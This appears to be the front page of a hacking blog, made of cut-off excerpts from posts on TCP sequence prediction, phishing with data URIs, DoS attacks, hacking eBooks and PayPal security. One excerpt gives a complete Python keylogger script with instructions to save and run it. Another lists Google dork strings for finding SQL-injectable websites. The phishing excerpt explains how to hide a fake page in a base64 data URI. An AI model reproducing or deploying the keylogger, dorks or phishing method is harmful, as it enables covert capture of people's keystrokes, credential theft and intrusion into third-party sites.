Trivendra's blog

Over the past few years TCP sequence number prediction attacks have become a real threat against unprotected networks, taking advantage of the inherent trust relationships present in many network installations.   TCP sequence number prediction attacks have most commonly been implemented by opening a series of connections to the target host, and attempting to predict the sequence number which will be used next.   Many operating systems have therefore, attempted to solve this problem by implementing a method of generating sequence numbers in unpredictable fashions.   This method does not solve the problem. This advisory introduces an alternative method of obtaining the initial sequence number from some common trusted services.   The attack presented here does not require the attacker to open multiple connections, or flood a port on the trusted host to complete the attack.   The only requirement is that source routed packets can be...

Today I'm going to show you how hackers doing phishing attack by using Data URI technique. Before going to read the article, I recommends you to read about Phishing for better understanding of this technique. Phishing by data URI is a simple technique used to steal login credentials and personal information from the users. Usually, phishing website needs a host, but by using “Phishing By Data URI” technique an attacker don't need a host to carry out an attack. In this technique, attacker uses a simple URI scheme to present media content in the web browser without the actual data on the Internet. The URI scheme is given below : data :[<mediatype>][;base64];<data> For Example : data:text/html;base64,RWZmZWN0SGFja2luZw== In the above example, I used base64 encoding to obfuscate the data from the victims. Otherwise, it looks like this : data:text/html;,EffectHacking Hackers with malicious intent can spoof an entire web-page using this technique a...

Keylogger also called keystroke logging, are software programs or hardware devices that record keys struck on the computer keyboard of an individual computer user or network of computers.It almost records every keystroke that user typed and saved as a text file Keylogger Creation Just open the notepad and copy paste the script. import pyHook, pythoncom, sys, logging # feel free to set the file_log to a different file name/location  file_log = 'keyloggeroutput.txt'  def OnKeyboardEvent(event):  logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s') chr(event.Ascii)  logging.log(10,chr(event.Ascii))  return True  hooks_manager = pyHook.HookManager()  hooks_manager.KeyDown = OnKeyboardEvent  hooks_manager.HookKeyboard()  pythoncom.PumpMessages() 2. Now save it something filename.pyw and execute the keylogger file. When you need to quit logging, open up task manager and execute all...

Since its birth in 1998, eBay owned company PayPal has become a hugely popular internet banking company, as the brand-new idea of sending money to anyone in the world through Email has won hearts of millions of internet users worldwide, the number of members of PayPal has been skyrocketing since. PayPal is now by far the most successful internet banking company. However, insecurity on the internet has been a great problem since the beginning of the boom of the dotcom economy; all famous computers companies have been victims of hackers from around the globe due to security flaws in its system. Microsoft is recent victim of the W32.Blaster.Worm virus which has been identified that could allow an attacker to compromise a computer running Microsoft Windows and gain control over it. Microsoft took immediate action after the spread of the virus, however, a considerable amount of computers worldwide have been victimized and the Blaster Worm is still at large. More information on...

Guys,you may have seen Mr. Robot and remember the event when Fsociety use the DDoS as a calling card to lure Elliot into helping them take down E-Corp or you may have been struck in situation when you try to open a Website only to see a notification that Website is down. What is this? Yes, this is a DOS Attack. A denial of service (DoS) attack is an attack that clogs up so much memory on the target system that it can not serve it’s users, or it causes the target system to crash, reboot, or otherwise deny services to legitimate users.There are several different kinds of dos attack as discussed below:- 1) :- The ping of death attack sends oversized ICMP datagrams (encapsulated in IP packets) to the victim.The Ping command makes use of the ICMP echo request and echo reply messages and it’s commonly used to determine whether the remote host is alive. In a ping of death attack, however, ping causes the remote system to hang, reboot or crash. To do so the attacker uses, the ping ...

Cyber security takes big part in Technology. There’s a lot of script kiddie hackers who might get lucky and do mayhem without understanding what they did. Hopefully, there’s hackers with better skills called White Hat hackers. They are truly professionals in cyber security. They do almost the same thing as black hat hackers do, but once they find vulnerability, they report it instead of exploiting it. I made this list of hacking eBooks and you can check it out. If you are cyber security enthusiast, you might wanna take a look at following PDF hacking eBooks. They contain a lot of useful information. So feel free to download and share this article with your friends. Black Belt Hacking & Complete Hacking Book Hackers High School 13 Complete Hacking E-books Penentration Testing With Backtrack 5 A Beginners Guide To Hacking Computer Systems Black Book of Viruses and Hacking Secrets of Super and Professional Hackers Dangerours Google Hacking Database and Attacks Intern...

A Dork query, sometimes just referred to as a dork, is a search string that uses advanced search operators to find information that is not readily available on a website. Here is a list of dorks to find SQL injectable websites. Google Dorks trainers.php?id= article.php?ID= play_old.php?id= declaration_more.php?decl_id= Pageid= games.php?id= newsDetail.php?id= staff_id= historialeer.php?num= product-item.php?id= news_view.php?id= humor.php?id= communique_detail.php?id= sem.php3?id= opinions.php?id= spr.php?id= pages.php?id= chappies.php?id= prod_detail.php?id= viewphoto.php?id= view.php?id= website.php?id= hosting_info.php?id= gery.php?id= detail.php?ID= publications.php?id= Productinfo.php?id= releases.php?id= ray.php?id= produit.php?id= pop.php?id= shopping.php?id= productdetail.php?id= post.php?id= section.php?id= theme.php?id= page.php?id= shredder-categories.php?id= product_ranges_view.php?ID= shop_category.php?id= channel_id=...